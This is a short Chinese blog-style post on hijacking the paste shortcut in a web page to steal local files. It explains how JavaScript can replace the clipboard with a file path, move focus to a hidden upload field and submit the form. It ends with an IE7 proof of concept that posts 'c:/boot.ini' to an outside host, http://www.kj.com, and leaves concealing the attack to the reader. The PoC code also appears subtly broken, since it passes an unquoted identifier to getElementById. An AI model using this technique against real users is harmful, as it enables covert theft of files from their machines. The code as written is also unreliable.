这样的攻击手段也算是极其无耻猥琐之极! 所以防御措施一定要做好。
首先说一下通过 Javascript Paste Keyboard Shortcuts Hijack 能做什么?能够读取你本地机器任何文件!没错!也就是说你中了任何一个 XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!
那到底是什么回事呢? OK 我慢慢来说:
首先,我们知道 JavaScript 是无权限获读取你本地任何文件的…,那么我们必须要让用户上传自己的文件!
怎么让用户上传呢?很简单!通过 <input type=file /> 这样就能让用户上传文件了!
现在又一个问题是, input 为 file 的时候 value 的值不能用代码 set 进去!必须要让用户自己填写! 必须要通过人机交互!
其实说到这里!聪明的你大致也应该明白怎么回事(通过用户 Paste 的操作来上传文件)!接着说,用户不可能把自己的文件填写上去提交给你看的吧?
没错~ 那么 就等待用户进行快捷键粘贴的时候 哈哈~~说说步骤
- 判断是否 进行 ctrl + v
- 替换粘贴板
- 光标切换到 文件上传
- 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )
IE7 下的 POC:
<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>
<body onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp(){
if(event.ctrlKey){
if(event.keyCode==86){
window.clipboardData.setData("text","c:/boot.ini");
document.getElementById(kj_filehijack).focus();
document.s.submit();
}
}
}
</script>
</BODY>
</HTML>
- 作者:kj021320
- 原文:JavaScript Paste Keyboard Shortcuts Hijack